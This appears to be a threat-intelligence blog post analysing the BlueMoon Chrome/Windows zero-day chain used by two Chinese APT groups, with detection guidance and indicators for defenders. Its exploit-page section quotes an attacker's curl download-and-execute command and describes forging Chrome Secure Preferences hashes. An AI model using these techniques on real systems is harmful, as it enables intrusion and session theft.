Skip to main content
Blog

Mind the (Patch) Gap: Inside BlueMoon, the Chrome/Windows 0-Day Chain Two Chinese APT Clusters Fired at Once

  • September 14, 2026
  • 0 replies
  • 8 views
Aaron Beardslee
Forum|alt.badge.img

Overview

On September 1, 2026, Volexity's Network Security Monitoring service caught a spear-phishing email hitting multiple non-governmental organization customers. The lure was a donation-form pretext, the kind of email a fundraising team might send and delete without a second thought. The link went to a legitimate US university website carrying a reflected cross-site scripting bug, and from there redirected to threat-actor infrastructure hosting a three-vulnerability exploit chain that broke out of Chrome's sandbox, escalated privileges in the Windows kernel, and injected code into the browser process -- all before the victim saw anything but a donation form image load.

Volexity attributes that campaign to a Chinese threat actor it tracks as UTA0560. Pulling the thread on its own email telemetry, Volexity's researchers then found a second, unrelated Chinese group -- JungleBamboo, better known publicly as APT31, Violet Typhoon, or TA412 -- running byte-for-byte identical exploit shellcode against a different set of targets, from different infrastructure, delivering a completely different payload. Both clusters started using the chain on the same day. Proofpoint independently tracked the same activity and gave the exploit kit a name: BlueMoon.

The vulnerability at the center of it, CVE-2026-85046, is a case study in a specific and growing problem: the patch gap. A researcher reported the Chrome V8 type-confusion bug on August 4, 2026, and a fix landed in the open-source Chromium codebase shortly after. But the fix didn't reach a released version of Google Chrome until Google shipped 152.0.7977.82 on September 4. In between, the bug was a known N-day at the source-code level and a fully functional zero-day against every user running a released build of Chrome. Volexity assesses with medium confidence that the exploit's developer reverse-engineered the Chromium bug-fix commit itself to build working exploit code inside that window -- and that as AI-assisted vulnerability research accelerates that kind of reverse-engineering, patch-gap zero-days are only going to become a more attractive path for well-resourced attackers.

CISA added CVE-2026-85046 to its Known Exploited Vulnerabilities catalog on September 4, 2026, with a September 18 remediation deadline for federal civilian agencies. This piece walks through the full exploit chain, both post-exploitation campaigns built on top of it, and what defenders should be watching for.


Threat Actor Profiles

UTA0560

UTA0560 is a Chinese threat actor Volexity has tracked since at least March 2026, when it ran an earlier, unsuccessful round of donation-themed phishing against the same NGO sector. Volexity attributes the September 2026 campaign to UTA0560 with high confidence, based on three independent links back to that earlier activity: the same phishing sender address and display name (ircribbin77@hotmail.com, "Irma Cribbin"); the same hosting IP address (206.166.251.164) that served PowerShell staging payloads in March and now hosts cloud.shinewrist.net; and a matching C2 staging convention -- the per-host beacon path used by UTA0560's September loader (/%COMPUTERNAME%.txt) is operationally the same pattern as the March campaign's PowerShell staging path (/%COMPUTERNAME%-%USERNAME%.ps1), both served from the same IP.

UTA0560's September targeting focused on US-based NGOs, using donation-form lures matched precisely to each target organization's own branding.

JungleBamboo (APT31 / Violet Typhoon / TA412)

JungleBamboo is Volexity's tracking name for the actor more widely known as APT31, Violet Typhoon, or TA412 -- a Chinese state-linked espionage group with a long public history of targeting government, NGO, and think-tank organizations. In this campaign, JungleBamboo used generic-looking spam-style lures sent to both a target's work and personal email addresses in the same message. Volexity notes this dual-targeting pattern is uncommon for genuine mass spam (which requires no such preparation) and is instead a technique the firm has observed JungleBamboo use repeatedly through 2026 -- work-and-personal double delivery increases the odds a target opens the message on a personal device or outside monitored channels.

JungleBamboo's domain registration pattern for its campaign infrastructure (gitprogram.commsbenefit.com, and subdomains, all fronted through Cloudflare Tunnels) is consistent with infrastructure Volexity has previously attributed to the group.

A Shared Chain, Independent Operators

The interesting attribution wrinkle is that UTA0560 and JungleBamboo are not the same actor and do not appear to be coordinating. Volexity assesses with low confidence that the exploit chain was sold or otherwise provided to separate end-users in China, which would explain near-simultaneous campaigns from unrelated infrastructure delivering unrelated payloads, built with what Volexity describes as "entirely different development environments" based on compiler/toolset differences between the two payload sets. Volexity assesses with medium confidence that the narrow patch-gap window itself forced both operators to reuse the core exploit code without modification -- there simply wasn't time to build independent exploits before Google shipped the fix.


Attack Chain

Stage 1 -- Phishing Delivery and Redirect

UTA0560's email linked to a legitimate US university domain vulnerable to reflected XSS, which redirected the click to https://cloud.shinewrist[.]net/<path>/Files1.html. JungleBamboo instead sent direct links to its own infrastructure (https://photos.msbenefit[.]com/fb/w3z, later https://proof.gitprogram[.]com/a4/j8).

Stage 2 -- Decoy Page and Obfuscated Loader (Files1.html / react.min.js)

The landing page is minimal: it loads a threat-actor-hosted JavaScript file (disguised with the filename react.min.js) and displays a decoy image -- in UTA0560's case, a donation form matching the target organization's real branding -- centered on the page. While the victim looks at the decoy, the loader script runs in the background.

The loader is obfuscated but carries one deliberately unobfuscated configuration block defining a base CONFIG_URL. At runtime it appends a mode=payload flag (arming the exploit -- without it, the page does nothing, which Volexity assesses is a built-in safety switch for the operators' own testing) and an exeurl parameter pointing to the final payload binary. This assembled URL is injected as the source of a hidden iframe appended to the decoy page's DOM, invisible to the victim.

Stage 3 -- The Exploit Page (page.html)

This is where the actual browser exploitation happens, and Volexity's analysis of it reads like a leaked internal development tool. The page holds its exploit code inert inside <script type="text/plain"> blocks (so the browser parses it as inert data, not executable script), concatenates the blocks, and runs the assembled exploit inside a dedicated Web Worker thread -- meaning a failed exploitation attempt crashes a background thread instead of the visible tab, so the victim never sees a tab crash or reload. A retry mechanism reattempts up to five times on recoverable failures.

Development-time strings embedded in the page place its construction between August 27 and 29, 2026 -- just days before Volexity observed the first phishing emails. The page accepts thirteen URL parameters, several of which are unmistakably a developer's debug harness rather than anything needed in production: a beacon parameter for phase-by-phase telemetry, a dry flag for a no-payload dry run, step/p2step breakpoints inside individual exploit stages, a stopAfter parameter to halt at a named phase, and a map override for the V8 heap constant the exploit otherwise derives automatically at runtime (giving it resilience across Chrome point releases without needing that constant hardcoded).

Three payloads are pre-staged as Base64-embedded shellcode inside the page, executed in strict order:

  • p1 (reconnaissance): A position-independent shellcode that reflectively loads an embedded DLL and builds a JSON host profile -- OS version, process token/privilege/integrity data, CPUID features, and hypervisor fingerprinting (distinguishing VMware, Hyper-V, KVM, and Xen). Its anti-analysis checks are passive: debugger and sandbox indicators are reported in the JSON, not acted on by the DLL itself -- the calling JavaScript decides whether to proceed, based on just three of the returned fields (enough to determine whether the Windows build needs the kernel LPE stage at all).
  • p2 (Windows kernel LPE): A second reflectively-loaded DLL exploiting CVE-2026-85880, a previously unreported vulnerability in RtlpCreateServerAcl, to escalate the calling process's privileges. This stage only runs if the process isn't already elevated and the Windows build falls in a specific target range -- Windows 10 1809 through 22H2, Windows Server 2019/2022, and the original Windows 11 21H2 release. Any build above 22000 is explicitly rejected by the exploit.
  • pp (browser-process injection): The final shellcode, which requires p2's elevated privileges to open the Chrome browser process and inject into it -- crossing the last sandbox boundary. From here, everything runs inside the legitimate Chrome process, indistinguishable from normal browser child-process activity except for the command line. The shellcode calls CreateProcessA to run a download-and-execute command; in UTA0560's campaign, this was cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "https://cloud[.]shinewrist[.]net/<path>/msgbox[.]exe" && "%TEMP%\msgbox.exe".

CVE-2026-85046 (the V8 type-confusion bug providing initial arbitrary read/write) and CVE-2026-87491 (a separate WebAssembly defect used to escape the V8 sandbox itself) both do their work before p1 even runs; p1/p2/pp is what happens after the browser sandbox is already breached.

Both UTA0560 and JungleBamboo delivered this exact page with byte-for-byte identical shellcode. JungleBamboo hosted its own copy on proof.gitprogram[.]com and photos.msbenefit[.]com but pointed the exeurl parameter at a different payload.

Stage 4a -- UTA0560's Path: GRIMWEDGE

UTA0560's downloaded binary, msgbox.exe, is a dropper compiled August 31, 2026 -- one day before the phishing run began. It extracts a legitimate signed Windows EXE and a malicious DLL, wsc.dll, from its PE resources and sideloads the DLL through the legitimate binary. wsc.dll establishes persistence via a scheduled task named "Windows Scheduled System" that re-runs the sideloading chain every five minutes, then beacons to a per-host URL pattern -- https://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txt -- allowing UTA0560 to stage victim-specific payloads rather than serving the same file to every infected host indiscriminately (unprovisioned hostnames simply get an HTTP 404).

When a payload is staged, wsc.dll writes it to %TEMP%\Temp.txt and runs it via msiexec /i. That file is a Windows Installer package (built with Advanced Installer 14.5.2) whose custom actions run an obfuscated JScript. The JScript opens an HTTP client and loops indefinitely, POSTing the victim's domain, username, and prior command output to https://ocr[.]opusaccel[.]top, then evaluating the HTTP response body as JScript -- a live remote-code-as-a-service channel. The script Volexity retrieved this way is what they track as GRIMWEDGE: a compact (under 250 lines) backdoor running entirely in memory inside msiexec.exe, supporting ten commands covering system reconnaissance, directory listing/creation, file deletion, process listing and termination, file read (up to 5MB), hidden-window command execution, and chunked file upload. It has no built-in persistence, lateral movement, or automated exfiltration beyond those file-read and upload primitives -- UTA0560 uses it as a lightweight foothold to survey a host and then pull down whatever additional tooling the operation requires.

UTA0560 updated both msgbox.exe and wsc.dll on September 2, 2026 -- one day into the campaign -- changing the scheduled task's behavior from a passive cached-file retry to active re-execution of the entire chain, and adding a duplicate-task guard. Notably, the C2 URL, the download mechanism, and the scheduled task's name stayed identical across the revision, which matters directly for detection (see below).

Stage 4b -- JungleBamboo's Path: SUPERSTOMP and LONGTALE

JungleBamboo's payload took a different route entirely: rather than a traditional loader-to-backdoor chain, it deployed SUPERSTOMP, a loader built to install a malicious Chrome extension by tampering with Chrome's Secure Preferences file.

This is a more technically interesting move than it sounds. Chromium hardened this exact attack surface twice in the past year -- adding per-preference _encrypted_hash integrity values in November 2025, and a full-profile super_encrypted_hash check in June 2026. SUPERSTOMP defeats both: it copies the existing Secure Preferences file, strips the per-preference and full-profile encrypted hashes, injects the malicious extension entry with the required settings enabled, regenerates valid legacy HMAC values for the modified file, and replaces the original. Because Chrome still permits legacy-MAC fallback by default (a state of affairs that, per Volexity, only changed to be non-default in a Chrome release as of September 8, 2026, and even then only for browsers compiled from source), Chrome accepts the forged file as requiring "migration" and re-authenticates the tampered extension under its own newer integrity scheme on next launch. Volexity notes this specific technique was added to one of the most popular GitHub repositories associated with silent Chrome extension installation on August 6, 2026 -- three weeks before JungleBamboo's campaign began.

The installed extension, which Volexity tracks as LONGTALE, masquerades as a Google Gemini Chrome extension (extension ID ckiknalbeplpcpofpnabcnhjcegckfei) and functions as a comprehensive in-browser surveillance tool: unrestricted keylogging and form-field capture across every open tab (with no exclusion for password fields), theft of all browser cookies plus localStorage/sessionStorage tokens (giving multiple independent paths to hijack an authenticated session), keyword-triggered screenshot capture via polling and DOM MutationObservers, and bulk exfiltration of collected data at roughly 30-second intervals -- enabled by default from first run. It accepts fourteen remote commands, mostly configuration and on-demand collection, including arbitrary cross-origin HTTP requests issued from inside the victim's authenticated browser session.

Pointedly, LONGTALE has no remote code execution capability at all. Volexity assesses with low confidence that JungleBamboo considered this unnecessary -- the extension's credential and session-theft capability alone is sufficient for the group's espionage objectives, and Volexity's broader observation is that credential theft, not code execution, is increasingly the actual goal in intrusions like this one. Malicious browser extensions are also, in Volexity's experience, meaningfully harder for defenders to detect than malicious executables.


Timeline

Date Event
August 4, 2026 CVE-2026-85046 reported to the Chromium project by an external researcher; fix lands in Chromium source shortly after but not in a Chrome release
August 6, 2026 Secure Preferences tampering technique (later used by SUPERSTOMP) added to a popular public GitHub repository
August 27-29, 2026 Development-time strings inside the exploit page (page.html) place its construction in this window
August 31, 2026 UTA0560's msgbox.exe (GRIMWEDGE dropper) compiled
September 1, 2026 Volexity detects UTA0560 phishing against multiple NGO customers; JungleBamboo begins its own campaign the same day using identical exploit shellcode from separate infrastructure
September 2, 2026 JungleBamboo sends a second, more targeted phishing wave; UTA0560 recompiles msgbox.exe/wsc.dll, changing scheduled-task behavior but not the task name or C2 URL
September 4, 2026 Google ships Chrome 152.0.7977.82/.83 patching CVE-2026-85046; CISA adds the CVE to its KEV catalog with a September 18 FCEB deadline
September 8, 2026 Chrome changes the legacy-MAC-fallback default that SUPERSTOMP abuses (compiled-from-source builds only)
September 9, 2026 Volexity publishes full research, shared with Threat Intelligence Service customers as TIB-20260908/TIB-20260908B

Detection Guidance

Process-Level Detections (Windows EDR)

Browser process spawning a download-and-execute chain. The single highest-fidelity host signal in this campaign is chrome.exe (or another Chromium-based browser sharing the vulnerable V8 engine) appearing as the parent of cmd.exe or curl.exe, with a command line downloading a file to %TEMP% and immediately executing it. This is the pp-stage injection surfacing in process telemetry, and because the exeurl parameter is attacker-controlled at exploit-page runtime rather than hardcoded, this behavioral pattern is far more durable than any single domain or hash.

Scheduled task named "Windows Scheduled System." UTA0560's GRIMWEDGE persistence creates this task to re-run its sideloading chain every five minutes. The task name and its re-execution cadence survived UTA0560's September 2 revision of the underlying loader, making it a stable pivot point even as the payload itself changes.

msiexec.exe making outbound HTTP POST requests in a loop. GRIMWEDGE's final backdoor runs as an eval()'d string inside msiexec.exe. Outbound HTTP activity from msiexec.exe, particularly repeating POST requests with tab-delimited bodies, is anomalous for a process whose legitimate role is installer execution.

Chrome Secure Preferences file modification outside of normal profile sync/update behavior. SUPERSTOMP's technique depends on rewriting Secure Preferences and regenerating its HMAC values. File-integrity or EDR file-write monitoring on this specific file, correlated with a subsequent new extension ID appearing in the profile, is a strong signal for this half of the campaign.

Unrecognized extension ID ckiknalbeplpcpofpnabcnhjcegckfei masquerading as Google Gemini. Browser extension inventory tooling (via Chrome Enterprise policy reporting or EDR browser-extension visibility) should flag this ID directly; more durably, flag any Gemini-branded extension whose ID does not match Google's official published extension ID for its real Gemini integration.

Network-Level Detections

Known BlueMoon infrastructure. cloud.shinewrist[.]net and ocr.opusaccel[.]top (UTA0560); gitprogram[.]com and msbenefit[.]com plus subdomains (JungleBamboo); and IP 206.166.251.164 (hosts UTA0560's shinewrist.net). Note that JungleBamboo's domains resolve through Cloudflare Tunnels, so IP-based blocking will not be effective against that cluster -- domain and URL matching is required.

Per-host beacon URI pattern. Requests to cloud.shinewrist[.]net for a path ending in .txt where the filename matches the requesting host's computer name is GRIMWEDGE's staging beacon and is unlikely to appear in any legitimate traffic pattern.

Reflected XSS abuse on outbound links in phishing-reported email. Because UTA0560's initial redirect abuses a legitimate third-party site's own XSS flaw, standard "known bad domain" email link filtering will miss the first hop entirely. Security awareness / phishing-report workflows should specifically check for unexpected query-string redirect parameters on otherwise-legitimate linked domains.

Identity and Browser-Session Detections

Anomalous session/cookie reuse following unexplained authentication. Because LONGTALE's entire value to JungleBamboo is credential and session theft rather than code execution, downstream detection should focus on identity telemetry: authentication events using a session token or cookie value associated with a browser session that also shows signs of extension tampering, impossible-travel logins shortly following a suspected compromise, or new OAuth/API tokens issued to sessions with no corresponding interactive login from the expected device.

Chrome policy/extension audit drift. Organizations using Chrome Enterprise should specifically alert on any managed profile where the enterprise-pushed extension allowlist and the locally observed extension inventory diverge -- SUPERSTOMP's entire technique is designed to make an unauthorized extension appear as if it passed normal integrity validation.


Indicators of Compromise

Network

Type Indicator Attribution Description
Domain cloud.shinewrist[.]net UTA0560 Exploit hosting and C2
Domain ocr.opusaccel[.]top UTA0560 GRIMWEDGE backdoor C2
Domain msbenefit[.]com (+ subdomains) JungleBamboo Phishing infrastructure
Domain gitprogram[.]com (+ subdomains) JungleBamboo Phishing and C2 infrastructure (Cloudflare Tunnel-fronted)
IP Address 206.166.251.164 UTA0560 Hosts cloud.shinewrist.net; reused from March 2026 UTA0560 activity
URL hxxps://photos.msbenefit[.]com/fa/t3 JungleBamboo Phishing URL, September 1
URL hxxps://photos.msbenefit[.]com/fb/w3z JungleBamboo Phishing URL, September 1
URL hxxps://proof.gitprogram[.]com/a4/j8 JungleBamboo Phishing URL, September 2
URL hxxps://xyz0102.gitprogram[.]com/a001 JungleBamboo LONGTALE extension download
Email ircribbin77[@]hotmail[.]com ("Irma Cribbin") UTA0560 Phishing sender, matches March 2026 activity

File Hashes (SHA-256)

File Actor Type SHA-256
Files1.html UTA0560 HTML lure page d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343b
react.min.js UTA0560 Obfuscated JS loader 337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130d
page.html Shared Exploit delivery page 7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c
p1 data Shared Recon shellcode cd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0
p1 DLL Shared Win64 DLL b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1
p2 data Shared Kernel LPE shellcode 5995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6
p2 DLL Shared Win64 DLL (CVE-2026-85880) 51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc
msgbox.exe (GRIMWEDGE dropper) UTA0560 Win32 EXE 69c1603f3f9015beb0097d0a3bb0f17400c314e2eae65a7eceacd3b93ea570dc
wsc.dll UTA0560 Win32 DLL 3b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367f
Temp.txt UTA0560 MSI package 56eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951
GRIMWEDGE backdoor script UTA0560 JScript 59dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcb
msgbox.exe (SUPERSTOMP) JungleBamboo Win64 EXE e2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0
a001 (LONGTALE extension) JungleBamboo Chrome Extension 5eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3

Host Artifacts

Type Value Notes
Scheduled Task Windows Scheduled System GRIMWEDGE persistence; re-runs sideloading chain every 5 minutes
Extension ID ckiknalbeplpcpofpnabcnhjcegckfei LONGTALE, masquerades as Google Gemini extension
File Path %TEMP%\msgbox.exe Initial downloaded dropper (both actor variants)
File Path %TEMP%\Temp.txt GRIMWEDGE staged MSI payload
DNS Canonical Name *.gitprogram[.]com -> *.cfargotunnel[.]com JungleBamboo infrastructure fronted by Cloudflare Tunnels

MITRE ATT&CK Mapping

Technique ID Technique Name Usage
T1189 Drive-by Compromise Phishing link to exploit-hosting infrastructure
T1203 Exploitation for Client Execution CVE-2026-85046 V8 type confusion, initial code execution in sandbox
T1055 Process Injection pp-stage injection into the Chrome browser process
T1068 Exploitation for Privilege Escalation CVE-2026-85880 Windows kernel LPE (RtlpCreateServerAcl)
T1105 Ingress Tool Transfer curl download of msgbox.exe / payload to %TEMP%
T1574.002 Hijack Execution Flow: DLL Side-Loading wsc.dll sideloaded via legitimate signed EXE
T1053.005 Scheduled Task/Job: Scheduled Task "Windows Scheduled System" GRIMWEDGE persistence
T1218.007 System Binary Proxy Execution: Msiexec GRIMWEDGE JScript execution via MSI custom action
T1071.001 Application Layer Protocol: Web Protocols HTTP(S) C2 beaconing and command retrieval
T1176 Browser Extensions LONGTALE malicious Chrome extension via SUPERSTOMP
T1553 Subvert Trust Controls Secure Preferences HMAC forgery to bypass Chrome extension integrity checks
T1056.001 Input Capture: Keylogging LONGTALE keystroke and form-field capture
T1539 Steal Web Session Cookie LONGTALE cookie/localStorage/sessionStorage theft
T1113 Screen Capture LONGTALE keyword-triggered screenshot capture

Key Takeaways

A patch gap is a full zero-day, even when the fix already exists. CVE-2026-85046 was fixed in the Chromium source before Google ever shipped it to users, and that gap was exactly the window both UTA0560 and JungleBamboo needed. Any organization treating "the fix is in the upstream repo" as equivalent to "we're protected" is exposed during exactly this kind of window -- and Volexity's own assessment is that AI-accelerated vulnerability research is likely to widen, not close, these gaps going forward.

Two unrelated APT clusters running identical exploit code on the same day is a supply-chain signal worth taking seriously. This wasn't a coincidence or convergent discovery -- byte-for-byte identical shellcode from separate infrastructure strongly suggests a shared exploit broker or developer serving multiple Chinese operators. Defenders should expect this pattern to recur: a single high-value patch-gap exploit distributed to several independently operating customers in a tight window.

The two payloads chosen reveal two different philosophies of access. UTA0560 built a lightweight, extensible backdoor (GRIMWEDGE) for hands-on-keyboard operations. JungleBamboo skipped code execution capability entirely in favor of a credential-and-session-theft browser extension (LONGTALE) that Volexity assesses is harder to detect than an executable and sufficient on its own for espionage objectives. Detection programs built primarily around process/file telemetry risk missing the LONGTALE half of this story entirely -- browser extension inventory and identity/session-anomaly detection are not optional complements here, they're required.

Behavioral detection outlasts IOC-based detection in this campaign specifically. UTA0560 recompiled its dropper and loader within 48 hours of first use while keeping the task name, C2 URL pattern, and injection mechanism unchanged. Hash-based detection on this campaign has a short shelf life; the scheduled task name, the browser-process-to-curl-to-TEMP pattern, and the per-host beacon URI convention are the parts of this chain built to be reused, and are where durable detection logic should be invested.


References

  1. Lancaster, T., Saini, A., Quigley, C., Koessel, S., & Adair, S. (2026, September 9). Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows. Volexity. https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/

  2. Proofpoint Threat Insight. (2026, September). Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Exploit Chain Using Chrome and Windows Zero-Days. Proofpoint. https://www.proofpoint.com/us/blog/threat-insight/once-bluemoon-multiple-state-aligned-threat-actors-rapidly-adopt-novel-exploit

  3. Lakshmanan, R. (2026, September 4). Google Releases Chrome Update to Patch Actively Exploited V8 Zero-Day. The Hacker News. https://thehackernews.com/2026/09/google-releases-chrome-update-to-patch.html

  4. Google Chrome Releases. (2026, September 4). Stable Channel Update for Desktophttps://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_01882797386.html

  5. CISA. (2026, September 4). CISA Adds One Known Exploited Vulnerability to Cataloghttps://www.cisa.gov/news-events/alerts/2026/09/04/cisa-adds-one-known-exploited-vulnerability-catalog

  6. Toulas, B. New 'BlueMoon' Kit Exploited Windows and Chrome Zero-Day Flaws. BleepingComputer. https://www.bleepingcomputer.com/news/security/new-bluemoon-kit-exploited-windows-and-chrome-zero-day-flaws/

  7. Security Affairs. Four Nation-State Actors Used the Same Chrome Zero-Day Exploit Kit Within 12 Dayshttps://securityaffairs.com/198783/apt/four-nation-state-actors-used-the-same-chrome-zero-day-exploit-kit-within-12-days.html

  8. Volexity Threat Intelligence. (2026, September 9). Indicators of Compromise: 2026-09-09 Chrome Exploit Chain. GitHub. https://github.com/volexity/threat-intel/tree/main/2026/2026-09-09 Chrome

  9. Gulizia, S. (Serotav). When Sorting Leads to Confusionhttps://serotav.github.io/Writeups/v8/when-sorting-leads-to-confusion/

  10. CVE.org. CVE-2026-85046https://www.cve.org/CVERecord?id=CVE-2026-85046

  11. NVD. CVE-2026-87491https://nvd.nist.gov/vuln/detail/cve-2026-87491

  12. Microsoft Security Response Center. CVE-2026-85880https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85880